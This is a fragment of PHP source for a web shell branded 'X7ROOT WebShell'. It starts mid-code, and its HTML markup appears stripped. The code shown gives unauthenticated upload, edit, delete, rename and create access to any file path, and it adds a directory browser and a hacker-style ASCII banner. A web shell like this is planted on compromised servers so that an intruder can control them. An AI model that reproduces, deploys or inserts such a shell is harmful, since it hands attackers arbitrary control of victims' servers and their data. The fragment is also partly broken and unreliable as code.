489495df489495df" . basename($dest) . ""; $msgType = 'success'; } else { $message = '[!] Upload failed.'; $msgType = 'error'; } } // —— EDIT SAVE —— if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { file_put_contents($_POST['file'], $_POST['content']); $message = '[+] File saved successfully.'; $msgType = 'success'; } // —— DELETE —— if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if (is_dir($target) ? rmdir($target) : unlink($target)) { $message = '[+] Deleted successfully.'; $msgType = 'success'; } else { $message = '[!] Delete failed.'; $msgType = 'error'; } } // —— RENAME FORM —— if (isset($_GET['rename'])) { $old = realpath($_GET['rename']); $base = basename($old); echo << Rename

Rename "{$base}"


HTML; exit; } // —— RENAME ACTION —— if (isset($_POST['dorename'], $_POST['file'], $_POST['newname'])) { $old = realpath($_POST['file']); $new = dirname($old) . DIRECTORY_SEPARATOR . basename($_POST['newname']); if (rename($old, $new)) { $message = '[+] Renamed to ' . basename($new); $msgType = 'success'; } else { $message = '[!] Rename failed.'; $msgType = 'error'; } } // —— CREATE FILE —— if (isset($_POST['create'], $_POST['newfile'])) { $newpath = $cwd . DIRECTORY_SEPARATOR . basename($_POST['newfile']); if (file_put_contents($newpath, $_POST['newcontent'])) { $message = '[+] Created: ' . basename($newpath); $msgType = 'success'; } else { $message = '[!] Create failed.'; $msgType = 'error'; } } // ASCII banner $banner = << ██╗ ██╗███████╗██████╗ ██████╗ ██████╗ ████████╗ ╚██╗██╔╝╚════██║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ╚███╔╝ ██╔╝██████╔╝██║ ██║██║ ██║ ██║ ██╔██╗ ██╔╝ ██╔══██╗██║ ██║██║ ██║ ██║ ██╔╝ ██╗ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ HTML; // OUTPUT PAGE echo << X7ROOT WebShell
$banner
$message
Path: HTML; // Breadcrumb $parts = explode(DIRECTORY_SEPARATOR, $cwd); $acc = ''; foreach ($parts as $i => $part) { if ($part === '') { $acc = DIRECTORY_SEPARATOR; echo "/"; continue; } $acc .= DIRECTORY_SEPARATOR . $part; echo "" . htmlentities($part) . ""; if ($i < count($parts) - 1) echo " / "; } echo "Home"; echo <<

HTML;